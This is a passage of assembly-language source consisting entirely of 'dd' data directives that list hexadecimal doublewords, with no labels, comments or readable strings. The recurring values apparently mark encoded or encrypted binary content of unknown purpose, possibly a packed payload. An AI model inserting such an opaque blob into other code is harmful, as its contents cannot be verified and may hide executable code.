0ED606F39h, 0DBE74452h dd 9E001F02h, 90EBE9E1h, 134D7817h, 156632DBh, 4FFB7532h dd 0E3810D48h, 0BBF4F882h, 5081386Bh, 0F5E7710Bh, 776A0D75h dd 1AB6BB53h, 15663BB8h, 74067132h, 156687DAh, 312B7832h dd 0FBCB635h, 0F64918A8h, 21D1E011h, 90EF2569h, 1354BA2Fh dd 38E3D7CBh, 4160A301h, 156656DBh, 0ECB21132h, 91C886E4h dd 923D5E27h, 85377D71h, 7DEF57C0h, 0FB04791Bh, 0AA69E852h dd 18E7FBFAh, 0FD072933h, 1566113Eh, 6FE4BAB7h, 2F1D0B2Fh dd 0AF804957h, 0EA074EC7h, 3E6D9587h, 1575AD34h, 4B482232h dd 2421A94Eh, 0D0C7BFB0h, 0FBB62857h, 71B0D6F4h, 30E39C9Ch dd 1A60A30Eh, 15664EB0h, 0ABD54232h, 1566933Dh, 0EA078832h dd 90EFBCE2h, 1354BA13h, 156602DBh, 23516932h, 45F957B8h dd 2518E4BAh, 9C2191B0h, 93BED13Eh, 264BC1F4h, 75232419h dd 74B1AE3Dh, 755E4A5Ah, 4E34BE8h, 1A662232h, 15661AB1h dd 15606132h, 0D1574432h, 48F8BADBh, 1E7BA4CDh, 18F8E19h dd 0DD664432h, 0D425AD74h, 540C19FFh, 2EE599D7h, 0E297914h dd 988C8673h, 3E5A34B7h, 75067034h, 1566CD3Dh, 0C3E72232h dd 0CFA7483h, 10E78753h, 0AB664432h, 20760093h, 0FCB6EE53h dd 15668826h, 0F9F45E10h, 0A4A0013h, 0FEA8D1D0h, 0D2967E15h dd 25766CD5h, 8D43A7BBh, 94691700h, 15668835h, 95381652h dd 9607D4FDh, 3E6C108Fh, 90698834h, 156644E1h, 94B8A952h dd 0A6670F2h, 90A0E954h, 134D771Fh, 930EDB77h, 0E99C314Ch dd 1E7B3DCDh, 989F4219h, 3E5A07B7h, 18EE1E34h, 75668832h dd 1566CE3Dh, 0A8DC2232h, 74442C17h, 9C9F58CDh, 27FE6DB7h dd 0D393DA34h, 3E553CB7h, 9506C434h, 0C3E609EBh, 9F694358h dd 1566112Ch, 15726152h, 33CC4432h, 0C118A07Ch, 9FFB0528h dd 20A3F93Ah, 0DD3745EBh, 0A269691Ah, 0D60E70CCh, 1A86AEE2h dd 156649B1h, 156ECB32h, 0F6FA1132h, 0C38EDB0Ch, 0A099EE02h dd 134D292Fh, 94004252h, 4CB034C2h, 30E3C953h, 0E960090Eh dd 156605DBh, 95B3D32h, 0F7546198h, 93188627h, 4AC8114Eh dd 0B3A89D9Eh, 0E0B6BBEAh, 8D4BA7BBh, 97691700h, 15668833h dd 1469ADCAh, 0D39E2232h, 3E553CB7h, 9069DA34h, 15664433h dd 0F16B4AC7h, 0EA93AD78h, 3E6BF987h, 0C6E72434h, 27646111h dd 156AF853h, 0AE018832h, 0B993B0C9h, 0C0BD5FD9h, 90EBF86Fh dd 134DB417h, 75B6BBCEh, 156CA33Dh, 108F1132h, 7668832h dd 3E8A7819h, 34CDFAB3h, 9C075941h, 27FEA1B7h, 156CAD34h dd 40152232h, 2D60C1A6h, 0C65CB95Dh, 157CC13Dh, 97692232h dd 15661126h, 156687DBh, 1938832h, 526ACD54h, 14F470E7h dd 0F06A7D66h, 264BC1F4h, 0EC342419h, 592C595Ah, 9400E894h dd 745FADF3h, 181797CDh, 1F8F1719h, 0CC668832h, 82190043h dd 76DD0DA3h, 30E39C2Bh, 0FC60A30Eh, 1566443Dh, 6F409FAh dd 0A79B7F15h, 0C7400E6Ah, 75F249D5h, 15662EDBh, 190E0332h dd 0E9DD02DCh, 8745A964h, 74829349h, 198FC1CDh, 9D668832h dd 0F051E2B5h, 879EB2C5h, 9C4BF680h, 27FEA5B7h, 1569AD34h dd 17C72232h, 92471A4Bh, 6E75AE4Bh, 93E6FF0Ch, 38E3E4ACh dd 47603A01h, 0A18CE0C7h, 9F69B970h, 1566222Bh, 156605DBh dd 928F7532h, 0E38F6E43h, 0D3329E40h, 0FA8757B0h, 0B87A8663h dd 8D3BB1Bh, 1A600939h, 156616B1h, 9400E832h, 74BAF3EBh dd 156636DBh, 0E0BD4C32h, 4268D2FBh, 0B19900C3h, 24D49EAh dd 3EA6AEh, 30E30570h, 0FC606F0Eh, 15662239h, 5429522Fh dd 79DB9B22h, 0EAA986BAh, 0AA6942E2h, 16EE1EC8h, 73668832h dd 9C0786B9h, 3E608FB7h, 90A0E834h, 134DBB1Fh, 0AD002445h dd 0EFEC5891h, 0BDC57953h, 128F7BA5h, 27664432h, 0E951553Bh dd 0A0996200h, 134DA72Bh, 1576CF3Dh, 1E8F2232h, 1661132h dd 0F617F65Bh, 54F0474Fh, 90EB402Bh, 134D2D17h, 1576033Dh dd 1E8F4432h, 1E662232h, 1912A416h, 0F2A07B68h, 48FA853h dd 0B2662232h, 0A17BE07Ch, 0DEB6C7FEh, 3DB094B6h, 21170B8Bh dd 1A8FC1CDh, 0AD668832h, 0CD93CCC7h, 10073C40h, 6D9E5759h dd 1A0622CAh, 4F368485h, 4E3AB53h, 1A603A15h, 156689B3h dd 90A0BC32h, 134D111Fh, 1B8F7160h, 39668832h, 0A48451Eh dd 0D2556486h, 0FFEC7682h, 9AB009A8h, 7400B9D8h, 0C857355Ah dd 9E6971B8h, 15668837h, 68B1C554h, 0A099430Ch, 134D1A2Fh dd 17EF8752h, 9E664432h, 90EB43C3h, 134D2D17h, 15776152h dd 36A14432h, 70A1AC1Eh, 0D1487564h, 1A43311Eh, 0FD50ECC9h dd 1566223Eh, 7F7E162h, 0EF947710h, 0DAF57EEh, 1566A43Dh dd 743F1132h, 9C9358CDh, 3E7391B7h, 1575CB34h, 0BF951132h dd 0D1A17FC0h, 8278B485h, 26B83314h, 0FFDEB8EDh, 38E34E12h dd 43606F01h, 785F4ACAh, 0EA9AC52Dh, 3E7D5587h, 1574AD34h dd 27C82232h, 2B738D4Fh, 0CF8DEB9Fh, 0D16C7285h, 25CE07FAh dd 968D94BFh, 95698E1Ch, 15664424h, 156633DBh, 367C4C32h dd 5E0D263h, 0D5842DCh, 55EAB299h, 0C5993934h, 1567033Dh dd 759F4432h, 156630DBh, 99C2332h, 207F32EBh, 0E3386CB7h dd 357BE7FBh, 941F2E47h, 9B18DFAh, 90EF2529h, 134D160Bh dd 15679A3Dh, 0D39A8832h, 3E5569B7h, 7D936534h, 94BA0148h dd 15668FDBh, 79717F32h, 3F3A3798h, 1E7BA4CDh, 98938E19h dd 3E5A61B7h, 12E52D34h, 1A661132h, 156689BDh, 0C599B132h dd 128FDA52h, 0D3661132h, 0D9A853B2h, 750707FBh, 156BCA52h dd 9FC11132h dd 0F7A2DC18h, 99074315h, 4F117FF1h, 74ADC2B2h, 74B73F3Dh dd 1D1FC1BBh, 0FC062419h, 15661126h, 0D015ADC7h, 0AB9D71DDh dd 2925FE38h, 0AABE4976h, 7AF6EC42h, 5E6FF54h, 38E3E453h dd 52603A01h, 0F6E7EE52h, 7493DB1Eh, 1AD3C05Ah, 1B8F71B8h dd 8C668832h, 52F84696h, 93FE6335h, 80382854h, 11E487CBh dd 73664432h, 74F2AF8Bh, 1E7BA4CDh, 9B698E19h, 1566443Eh dd 1560AD3Dh, 90691132h, 15668832h, 2943C1BFh, 93692419h dd 15661133h, 0EDB677CBh, 8D2BC1BBh, 0D29A2400h, 3E73E8B7h dd 1566F034h, 1563AD32h, 17B62232h, 1ACF6420h, 15668FB5h dd 14E64B32h, 0EC662232h, 82FACB1h, 1A668E19h, 157E65B6h dd 1DEC2D32h, 1A661132h, 15668AB8h, 0D3072432h, 3E550FB7h dd 94695D34h, 15668812h, 1572AD52h, 262F2232h, 0C5EDC282h dd 2A84A485h, 20502CFEh, 6C8655BEh, 32DCFB2Bh, 7461B5EDh dd 1561AD52h, 742232h, 2EEA2866h, 749E038Bh, 0CF7AAD5Ah dd 2E32DEBh, 0FC661132h, 15668820h, 0A337A384h, 34A76DF1h dd 37053FEFh, 24B5FE14h, 0A099DBE4h, 134D292Fh, 156616DBh dd 0FF771232h, 0DB2C00Dh, 2943A7BFh, 0EA931719h, 14E987E2h dd 0EC664432h, 58FD752h, 0D6661132h, 16A47C60h, 5B01601Fh dd 37D71683h, 74176AEEh, 8D5F0DBBh, 73064200h, 26CBE2B3h dd 74A79A54h, 264B0DF4h, 0FC2A4219h, 1566223Bh, 2FD406E3h dd 41B61AE4h, 0CBA82C38h, 0FC06FF46h, 15661139h, 0FE1ED9E3h dd 39D56BEBh, 0FC87440Ch, 15661138h, 28702D3Eh, 2A03D24Dh dd 0EA07D3DBh, 3E6D0C87h, 1E8F7134h, 6C664432h, 88E40545h dd 0C3174A6Ah, 90EB9AEDh, 134D7817h, 15662DDBh, 543DD932h dd 0BB5AC5D6h, 9F93E651h, 6DA30022h, 9C9EC1CDh, 27FEB5B7h dd 1575AD34h, 0BE6F2232h, 0B27205E1h, 23BABF4h, 0B473257Ch dd 9D10CF89h, 38E3D70Eh, 5960A301h, 1568AD52h, 352A2232h dd 4C9E4CB8h, 4AC4154Eh, 0CCDDF902h, 74A9A954h, 1569933Dh dd 1F8F8832h, 0CD664432h, 10073C40h, 6D9E5759h, 9759E0CAh dd 0AB06F3B3h, 4C83C99h, 8D3EE53h, 1A60A339h, 156652B2h dd 1577CB32h, 56541132h, 0D8404388h, 8C5BC15h, 80B1968Ch dd 985404BAh, 3E5AADB7h, 93692434h, 15662230h, 9E00AD86h dd 1A8FE9F3h, 7D664432h, 0C1F64196h, 0D0CD5AB6h, 831F1FA5h dd 0C599A39Dh, 1567AD3Dh, 9C9E1132h, 27FEC9B7h, 0AA692434h dd 918CA3C3h, 7479ADB2h, 156684DBh, 0F25CA932h, 43000F17h dd 4A26EA15h, 38E34EBCh, 59606F01h, 156AA13Dh, 128F1132h dd 94668832h, 37431EC4h, 0D0E3B3Ah, 75D53E72h, 0BB0E3252h dd 0D3ED4319h, 14E52D53h, 0ED661132h, 8D37753h, 0EC606F39h dd 2943A7BFh, 98691719h, 1566883Ah, 1564C63Dh, 74062232h dd 1A06C1CDh, 0C9E65185h, 9C9E258Ah, 27FE63B7h, 90A0E434h dd 134DBB1Fh, 0CDE62474h, 82D9821h, 7D0772D1h, 0AFB88E26h dd 156649DBh, 9616D632h, 66D22BFAh, 39312B18h, 0A0999230h dd 134D292Fh, 1561F852h, 684B8832h, 3435C94Fh, 0FA329A0Dh dd 75073D6Ah, 45DC65B2h, 743E1F60h, 2943A7BFh, 90691719h dd 15668838h, 1A9CCF52h, 156622B2h, 0C5997032h, 940F3752h dd 906979CEh, 15662230h, 9C07CBB8h, 27FEC1B7h, 12EB4B34h dd 1A662232h, 156610BAh, 90A07432h, 134D771Fh, 94004275h dd 751507C0h, 156681DBh, 3340D632h, 0A8F119C0h, 0D6E7B5FAh dd 7026885Fh, 1A062553h, 156622BBh, 2EAA9132h, 51CE053h dd 0EA9EC5EEh, 3E6D3F87h, 0EE1E34h, 0FC668832h, 15664422h dd 0A494B64Dh, 5C2EB082h, 7929B0D4h, 0E3E4D230h, 2943A7BFh dd 0EA9F1719h, 1EE087E2h, 0FC664432h, 15662234h, 0A241C354h dd 90EF074Fh, 1354DC63h, 15662BDBh, 0B9BDBF32h, 17FE4563h dd 90A0AC38h, 134D111Fh, 0A2697175h, 0B90EE9C2h, 7589C3BCh dd 0AD005381h, 0EA079587h, 3E6D9587h, 1CE44B34h, 75662232h dd 0C826C08Bh, 742B381Fh, 2943C1BFh, 1D8F2419h, 1D661132h dd 6D1BBE12h, 0EACD2C35h, 1DE52DE2h, 75661132h, 0AE00D660h dd 9C07CC90h, 27FE77B7h, 0C1D97134h, 0FC3C1536h, 15664420h dd 0CC8703Fh, 0AFD2B2B3h, 8C8FDF04h, 8CD61D06h, 0D3078E2Fh dd 3E553CB7h, 1A06CF34h, 156642BFh, 15E82D32h, 0AA661132h dd 46747EAAh, 0B2B42C53h, 0EA9AF6A8h, 3E6D0C87h, 9469E834h dd 15664430h, 0D3E7F986h, 76BA8E94h, 30E30553h, 0E9606F0Eh dd 9C93F2CDh, 27FE48B7h, 156D6134h, 0FD04432h, 5FB2CC7Ch dd 5FD41610h, 38E34E62h, 52606F01h, 0A26942CBh, 0B1D6ABCAh dd 7D07BC20h, 0AFA77D36h, 15662FDBh, 0F83A3732h, 0F7E5FF3h dd 0CA7DF962h, 48FF3F3h, 4A661132h, 0BAD995D8h, 0E25F0584h dd 1582DC86h, 0B15F934h, 1E7B3DCDh, 0AD064219h, 52E87C75h dd 15639E3Dh, 65DF8832h, 74386E81h, 2943A7BFh, 0AC061719h dd 1BB4DD70h, 0FCB6BB53h, 15662237h, 8D9231A4h, 48E301F1h dd 0FC6076AAh, 15662235h, 7F4AEECEh, 96740C4Fh, 3E6DF58Fh dd 90692234h, 15661180h, 156F6152h, 0FC414432h, 4A61977Bh dd 1A1E3C7Dh, 75077F8Dh, 0FC43A1B2h, 15662238h, 0C9BDEFA7h dd 0B7365110h, 0D3075866h, 3E550FB7h, 759E5634h, 0FBD35EB3h dd 9E6955C2h, 15662233h, 720E70CEh, 0E086FA1Fh, 1E7BF1CDh dd 18F2419h, 0F661132h, 0B682272Fh, 0AD75B9DBh, 2F5B1196h dd 69711AE5h, 98F21B11h, 3E5A61B7h, 18E92D34h, 75661132h dd 0D2042F8Bh, 15EE4B3Ah, 74662232h, 138FC1CDh, 83668832h dd 0AF0B2AA5h, 156ECB67h, 0E2D71132h, 9639E38Eh, 90EF875Bh dd 1354BA53h, 156600DBh, 7B5A0532h, 0A595A8F6h, 30E17F21h dd 0B99FCB3Fh, 90A03ADDh, 134D771Fh, 3E92D75h, 75661132h dd 156683DAh, 98E4F332h, 0BDD7B800h, 0F877362Eh, 1EBB0868h dd 93692453h, 15662220h, 15661CDBh, 56D36532h, 933D2355h dd 40E88845h, 0C6E7FEF3h, 7B8A8E9Fh, 0A6D72C53h, 0FC9AAC1Bh dd 15661134h, 7E0B1112h, 0A099549Ch, 134D292Fh, 30E39CCEh dd 0FC60A30Eh, 15664422h, 0DE9EDD5Ah, 0D60AEF5Eh, 4984AB4Fh dd 20DA4D3Bh, 9769F2CDh, 1566112Ch, 157E063Dh, 68F4432h dd 0DD662232h, 70D409CDh, 5C73D161h, 58351D5Bh, 0F8F015F3h dd 90EFBA51h, 13541057h, 90A0BCCAh, 134D111Fh, 0B20EE471h dd 0E0A6FE78h, 1E7BF1CDh, 198F2419h, 8A661132h, 1B4BDE6h dd 0A4A82227h, 98F86286h, 3E5A34B7h, 68FE834h, 29664432h dd 0EB349F63h, 0A33B41C8h, 0F0491315h, 41412D0Dh, 0EA07D671h dd 5EA1EE2h, 0FC668832h, 15664439h, 0AA98B396h, 620EF2B4h dd 9C6CA8FEh, 27FE2DB7h, 156ACB34h, 2E2F1132h, 4B9453F6h dd 786AB9AAh, 90A081F2h, 134D221Fh, 1560617Eh, 14834432h dd 75CCEB97h, 730AFA5Ah, 9400E8C9h, 741A6CC2h, 3A7F97CDh dd 989A1719h, 3E5AADB7h, 0AF002434h, 0EA078CEEh, 90EFE9E2h dd 135410CFh, 15664ADBh, 0BF748B32h, 2232EA69h, 0B96AEE01h dd 0D3B6E402h, 3E550FB7h, 1A065534h, 0C4E6418Dh, 400E252Ch dd 75DD51BCh, 1577F852h, 3FBD8832h, 0E14EB09h, 6C96AA68h dd 487A8FBBh, 1A1BB498h, 156644BAh, 0AA694332h, 0A09970C4h dd 134D832Fh, 1573CE3Dh, 58F2232h, 64661132h, 0CD2C42C4h dd 8FDB0DD3h, 79A4DD80h, 9855FF95h, 3E5AADB7h, 0C599BD34h dd 90EFDBCAh, 1354895Fh dd 38E34ECEh, 56606F01h, 157EA13Dh, 68F1132h, 0E4668832h dd 1658D75Fh, 0B2540AFBh, 8F435336h, 9ED27B8h, 0E90EA38Ah dd 1ADAAC5Ch, 156610BDh, 0A0997D32h, 134D4F2Fh, 15662FDBh dd 7886BA32h, 6EC86C7Eh, 86460F39h, 90EBEE31h, 134D2D17h dd 15668EDBh, 9A31E832h, 0EA0C1BF8h, 420671E2h, 80D9EE68h dd 4A372517h, 64E3AB53h, 0FC6023AAh, 15668838h, 0EDC7042Fh dd 0CE1A4D3Fh, 90A017B8h, 134DBB1Fh, 7D9EBD61h, 0D3761C98h dd 8D3EECEh, 0FC60A339h, 1566443Eh, 0C8A83804h, 7D232557h dd 0F7490ACBh, 1569CB3Dh, 1F8F2232h, 0CC661132h, 275DA723h dd 0EEE0C39Ah, 30E3AFA3h, 0ED603A0Eh, 9A6958CDh, 15664425h dd 1577AC3Dh, 198F1132h, 63668832h, 0EE9B0520h, 0D61B0194h dd 0E0E6496Eh, 8D130DBBh, 969A4200h, 3E4D578Fh, 91691134h dd 15668BB3h, 3197C552h, 75105840h, 15661DDBh, 0FC10C432h dd 78A598B8h, 8ABD6DCFh, 7438469Ah, 38E34E53h, 53606F01h dd 156627DBh, 66B31832h, 240ED9C7h, 759CD2FCh, 1564AD3Dh dd 0BBD31132h, 4E8C51B3h, 0EA072EB3h, 3E6D3F87h, 156DF834h dd 0F7B28832h, 0D5688925h, 51925E08h, 30E39C62h, 7560A30Eh dd 7398CF54h, 3DB1D5B3h, 0C599E853h, 15756052h, 8544432h dd 6DE9AC5h, 0DAD877B7h, 73DE3DF2h, 0BAE5A1B9h, 156ECB58h dd 50251132h, 0D4E34CFFh, 9E38910Dh, 90EF43F9h, 135489E3h dd 74283E52h, 264BC1F4h, 75202419h, 0F8AD9054h, 157460C9h dd 0AFA14432h, 98048175h, 5146D720h, 115D01CEh, 0B6CE7A24h dd 4A9CA954h, 2FB07953h, 0FD067495h, 15664434h, 75F4025h dd 97DE39E8h, 4B7F75DDh, 156649DAh, 9C5D1E32h, 0FFFE34CAh dd 941D4432h, 9400F89Fh, 4EE0C8F2h, 8D3EE53h, 1A60A339h dd 15664CB3h, 17EB2D32h, 75661132h, 30E30553h, 75606F0Eh dd 41BDE2B3h, 0ABD5676Bh, 0EDB67753h, 8D87C1BBh, 90692400h dd 1566113Bh, 3DD8EE52h, 0CBED2207h, 14E82D53h, 0ED661132h dd 264B0DF4h, 1A204219h, 156623BEh, 150EE932h, 0EDF47496h dd 0D6D94B52h, 74B5953Dh, 1E7BA4CDh, 1A938E19h, 156645B2h dd 90EBD732h, 134D2D17h, 1567083Dh, 0EA9F4432h, 14E82DE2h dd 0ED661132h, 8D830DBBh, 94694200h, 15662227h, 156601DBh dd 4F3FE632h, 284B76CCh, 5F809976h, 68F673BEh, 90A07010h dd 134D771Fh, 1A304274h, 156611BCh, 9569D732h, 15664430h dd 7D07AD85h, 0E3B25E58h, 0AE00E852h, 198F73E9h, 58662232h dd 721432BFh, 0E0D4000Eh, 74A08F28h, 8D3DD53h, 75603A39h dd 156685DAh, 0DE406532h, 39F62930h, 0D6940FD7h, 0A2690719h dd 0AC001DC3h, 98076138h, 3E5A34B7h, 6FD1E834h, 0EA07B3B9h dd 3E42DE2h, 0FC661132h, 15668823h, 84695F3Fh, 0EB9585h dd 77BE9497h, 5777AA16h, 959324C2h, 9C077ADCh, 27FEF8B7h dd 90A07D34h, 134D771Fh, 0F20EDA74h, 0FCF2DC62h, 15668823h dd 0E1C474ECh, 29FE520h, 80E5FA38h, 0AC0E8D3Eh, 8D3BBDBh dd 0E0600939h, 294394BFh, 0EA9F8E19h, 0A26924E2h, 90EF43F3h dd 135489E7h, 13E78752h, 94664432h, 2F92C2D3h, 0B6DD716Ch dd 731E828Dh, 74682C8Dh, 38E3E453h, 53603A01h, 615DE0CBh dd 9669F510h, 1566222Bh, 15759C3Dh, 1B8F8832h, 0AF664432h dd 780C1E1Bh, 6130A40Ch, 2824A4A5h, 8D3BBC1h, 0FC600939h dd 1566113Ch, 79CD6CC5h, 7F18E4ECh, 2067F7D5h, 90EB244Fh dd 134DB417h, 1568CA3Dh, 1C8F2232h, 10661132h, 0C3946B02h dd 224959A8h, 0FD06F2CDh, 1566113Fh, 64FCFA4Eh, 7675AAF5h dd 83B06403h, 953FE94Ch, 9C0798E8h, 27FE9DB7h, 90A0D734h dd 134D221Fh, 1FE88774h, 75664432h, 1566A03Dh, 4D361132h dd 0FF8BE053h, 58F9B4Bh, 41662232h, 19002205h, 0C5C6B89Eh dd 0B24BB00h, 0EABDA143h, 3E6D0C87h, 90EB7034h, 134D7817h dd 0FCB6DDCAh, 1566113Dh, 0EBCC0FCEh, 0E2A1C430h, 26A35D30h dd 9C06DA3Eh, 27FE55B7h, 18F2434h, 34662232h, 0FEF3F1F1h dd 8CE483F6h, 134202ADh, 911C5136h, 73131B13h, 6AA160B3h dd 0A4DBC753h, 15600939h, 15E9943Dh, 0D39A8832h, 3E5569B7h dd 95697134h, 1566113Ah, 1564083Dh, 74064432h, 0F5384ACAh dd 9406DF8Ch, 0C5BF5DF3h, 0EFED223Ah, 8D3DD53h, 75603A39h dd 0FD98373Dh, 15664420h, 5523BEFFh, 0B525B10Bh, 0D31B845Fh dd 0E803F8EBh, 94691185h, 15661132h, 90EBE96Dh, 134D7817h dd 1AB6DDC7h, 15660CB9h, 4F37E832h, 156650DBh, 5356C032h dd 54034995h, 772BD2FCh, 7C453635h, 0E05E7E91h, 90EF703Ah dd 1354104Bh, 9B69B852h, 15662236h, 0D2E7AB54h, 38E34E53h dd 52606F01h, 1567AC3Dh, 7D9F1132h, 0D2D7D6B5h, 2DCFD52h dd 0EA076682h, 3E6D0C87h, 97697034h, 15664433h, 30E3AFCAh dd 1A603A0Eh, 15668CB8h, 4C302432h, 0ECB6DD53h, 8D1B94BBh dd 969A8E00h, 3E6DF58Fh, 90692234h, 15661196h, 156687DBh dd 0C6BAFE32h, 99ACCA05h, 0CC28CED0h, 4891A086h, 264BC1F4h dd 1A212419h, 15661DB3h, 13E68732h, 1A664432h, 156622BEh dd 6B637932h, 0FC066E50h, 15664426h, 0F6E6DC0Ah, 0BFC210B0h dd 87AD1ECFh, 1D65AC1h, 0B6F74181h, 156618DBh, 0C1C8EF32h dd 0F98E9DB8h, 0EA07BFE5h, 3E6D0C87h, 18E28734h, 75664432h dd 1566AD3Dh, 94001132h, 747D27D5h, 2943C1BFh, 0ED9F2419h dd 9C69C1CDh, 1566882Bh, 156650DBh, 0FEAE032h, 551322EEh dd 5BAECFBBh, 926C4F1Eh, 7052676Ah, 94E398D7h, 0E960BAAAh dd 264BC1F4h, 0E0252419h, 6F6FE75Ah, 157661A0h, 20A74432h dd 0FDB3BE0Fh, 1A20594Ah, 0FC2AC820h, 0A0990302h, 134D292Fh dd 156F9D3Dh, 0EC068832h, 1566C83Dh, 98072232h, 3E5A34B7h dd 18E08734h, 75664432h, 230F3789h, 1C8C9000h, 74143D58h dd 1A0694CDh, 156626BAh, 73DD7732h, 0CCBF09CCh, 74120568h dd 8DE3A7BBh, 0D39E1700h, 3E55A5B7h, 7D930734h, 0E947B512h dd 8D3EECEh, 0FC60A339h, 15664435h, 60D7D3A8h, 988D02A4h dd 3E5AADB7h, 9E002434h, 14969BC9h, 0EA075DC4h, 157261E2h dd 20F4432h, 0A709588h, 37C79B1Eh, 92D2E69Eh, 0DDEBD460h dd 90EF6926h, 135489BBh, 15776052h, 83584432h, 0A4F684E4h dd 7C2C14F4h, 34C59436h, 4EB1645Dh, 156CCB61h, 0F7781132h dd 0B81A81FBh, 3B230EBBh, 0A8E5436Ch, 134D1A83h, 0F9E38732h dd 75664432h, 15662ADAh, 0DDD08532h, 0BDFC9B25h, 4D99F28Dh dd 74BE9D3Dh, 264B94F4h, 1A258E19h, 156654BEh, 156DCB32h dd 0CBEA1132h, 0A27E62F2h, 2DA12FD6h, 0BD654A04h, 91699A32h dd 15668823h, 156648DBh, 3DD48F32h, 0B60DF07h, 0A3191Fh dd 0A099BC9Fh, 134D292Fh, 1567993Dh, 989F8832h, 3E5A61B7h dd 1561CB34h, 78651132h, 31C68C0Fh, 0E9B6BBDAh, 8DF7A7BBh dd 1A061700h, 15668EB0h, 15E54B32h, 0E9662232h, 38E3D753h dd 5660A301h, 23B32CCAh, 9369C769h, 1566113Eh, 1560033Dh dd 9C694432h, 15662232h, 1E7BA4CDh, 94698E19h, 15664433h dd 30E3AFC7h, 0FC603A0Eh, 1566883Ch, 8B442FF3h, 19B2FA55h dd 0BE84F108h, 0C59906C0h, 1567C43Dh, 9C932232h, 27FE9CB7h dd 156B6134h, 0E94432h, 13DFDD1Dh, 3FA355B5h, 0D31384D7h dd 3E5569B7h, 7D9A6134h, 0FFCC23D3h, 0EFEDEE52h, 1564CB3Dh dd 0D2EC2232h, 8D3EE53h dd 7560A339h, 0A91C554h, 90EB4303h, 134D2D17h, 0FCB677CAh dd 15664423h, 21C3D807h, 0FD869137h, 0FB2AE7EFh, 5BB316F8h dd 80E3AB85h, 0FC6023AAh, 15668839h, 5329569Eh, 3E717266h dd 0D3A37531h, 3E55A5B7h, 198F0734h, 5F662232h, 0A9E39011h dd 0C5834EA3h, 7DA770B3h, 91978E05h, 15661FDBh, 42020D32h dd 0BB9D8145h, 7108BE12h, 0EAA59BB4h, 3E6D9587h, 1FE34B34h dd 0FC662232h, 15661137h, 4E77F6Eh, 30E3C995h, 1A60090Eh dd 156605BEh, 15696132h, 1DA24432h, 0DE83A1C9h, 0BE573F09h dd 0A45FEBA9h, 75B6BBBFh, 15662EDBh, 0D5B35532h, 0DECADD49h dd 677BCB72h, 1575CAA3h, 6A551132h, 0B339A0FEh, 0DD8BC9ADh dd 0C0A37346h, 823D97D5h, 4CB703EFh, 8CE3CD53h, 1A6010AAh dd 156610B7h, 90A07132h, 134D771Fh, 7306DE7Dh, 0AA54D7B3h dd 15668DDAh, 0CFB7A532h, 9969DA07h, 15661132h, 0C10EE968h dd 75F171A2h, 0FC98953Dh, 15661134h, 55333F3Dh, 0EA077E1Bh dd 3E6D3F87h, 90EBE934h, 134DB417h, 1560CD3Dh, 9F062232h dd 74969BE3h, 1C8F58CDh, 0BF664432h, 0DBFB92AFh, 1329C3ECh dd 8DFB0DBBh, 0D3934200h, 3E550FB7h, 7D9F5E34h, 0EC088630h dd 15664EDBh, 0B06CD332h, 918EBB6h, 0EA00350Fh, 3E6D5987h dd 0ED9F4234h, 19E31E53h, 1A668832h, 156642B1h, 15EE2D32h dd 98661132h, 3E5AADB7h, 0FFD42434h, 0F97A354h, 0C59970F6h dd 156687DBh, 57C4BA32h, 0B7EC8D91h, 0DFE473A4h, 0C480686Ch dd 1572AD52h, 76592232h, 63582D8Fh, 0EF475CE9h, 0F097E2DBh dd 7A6AD5B3h, 1C8F3417h, 0F5668832h, 0E26ABB2Eh, 4EFDA183h dd 0B4E39853h, 0E060BAAAh, 264BC1F4h, 1A2B2419h, 156616BEh dd 14EF8732h, 0ED664432h, 221F6B5Ah, 0A099E4FAh, 134D832Fh dd 0A6A9C552h, 735CDC62h, 4E4FD9B3h, 156A6153h, 0E5CF4432h dd 6E4F1162h, 599DA23Eh, 90EB3B68h, 134D7817h, 75B6DDC7h dd 76849054h, 0CE28708h, 0FC664432h, 15662226h, 5C2DA33Ch dd 39547F45h, 850DBDh, 16A62FE9h, 105F5E19h, 0BCE30153h dd 1A6076AAh, 156623BDh, 0D39AE832h, 3E55A5B7h, 1A9A0934h dd 156625BBh, 14EC1E32h, 0ED668832h, 0E22BCD5Ah, 1572CBEEh dd 3EB61132h, 91868448h, 84FB61E5h, 0D5A3D867h, 7B24BEB9h dd 0A0994C40h, 134D4F2Fh, 1568A33Dh, 1C8F1132h, 0D3668832h dd 8E889B70h, 0F501D436h, 294394BFh, 0EA9E8E19h, 90EFB1E2h dd 1354BA97h, 38E3D7CBh, 4060A301h, 156650DBh, 10C14B32h dd 0C422B223h, 3FBE3595h, 0E3FC7DA8h, 23ED1B1Fh, 385179B4h dd 9C691429h, 1566442Dh, 157FAF3Dh, 18F1132h, 5C668832h dd 14330A11h, 7FC56D87h, 0A2362518h, 1261A59Eh, 0EA1DC5B3h dd 3E6D3F87h, 90EBED34h, 134DB417h, 156655DBh, 0D4814432h dd 52F3F53Bh, 945BFF6h, 0BD0D53A2h, 0C599BCF4h, 15661EDBh dd 4E1BE332h, 7997CBD6h, 0B2872C8Eh, 765694BFh, 8DCB0DBBh dd 73064200h, 0AC49068Ch, 1125279Dh, 38E34E53h, 56606F01h dd 156AA73Dh, 96691132h, 15668834h, 1566CB3Dh, 3F0E2232h dd 75B4C4C2h, 15640E3Dh, 74064432h, 4C074264h, 8D3EE53h dd 1A60A339h, 15664FB0h, 9B694232h, 15661132h, 74B90354h dd 2943C1BFh, 0FC062419h, 1566113Ch, 4A4AEA62h, 1D1637E8h dd 381AABE5h, 0EA079765h, 14E987E2h, 0EC664432h, 8DD7A7BBh dd 1A061700h, 156689B7h, 0D307BC32h, 3E550FB7h, 0E9064334h dd 0D51A40B3h, 7D077AAEh, 0E82496D8h, 156E9B3Dh, 1A068832h dd 0AA699685h, 0A09943F5h, 134D1A2Fh, 15668EDBh, 135BE332h dd 1A8F0C71h, 15661DBEh, 13E48732h, 1A664432h, 156622B8h dd 30E39C32h, 7560A30Eh, 1A305581h, 156622B2h, 0EA074A32h dd 19E487E2h, 0FC664432h, 15662235h, 40003BBEh, 9C80555Bh dd 3E60E9B7h, 1575CB34h, 0BD321132h, 65D1CCDBh, 613ABBDEh dd 0E423CD67h, 61DB7AF8h, 38E34E86h, 52606F01h, 479EA952h dd 15661ADAh, 4B050232h, 0AACD71ADh, 5D774A1Fh, 7D074B6Ch dd 0F7FED1ABh, 8D3BBCAh, 0ED600939h, 294394BFh, 0EA938E19h dd 1EC4BE2h, 75662232h, 0FAAE9054h, 156E61F2h, 0DCB24432h dd 0EB6BA3E9h, 9C071831h, 27FE3DB7h, 1560AD34h, 92692232h dd 0AA111035h, 38E34ECEh, 52606F01h, 156629DBh, 0E16BD632h 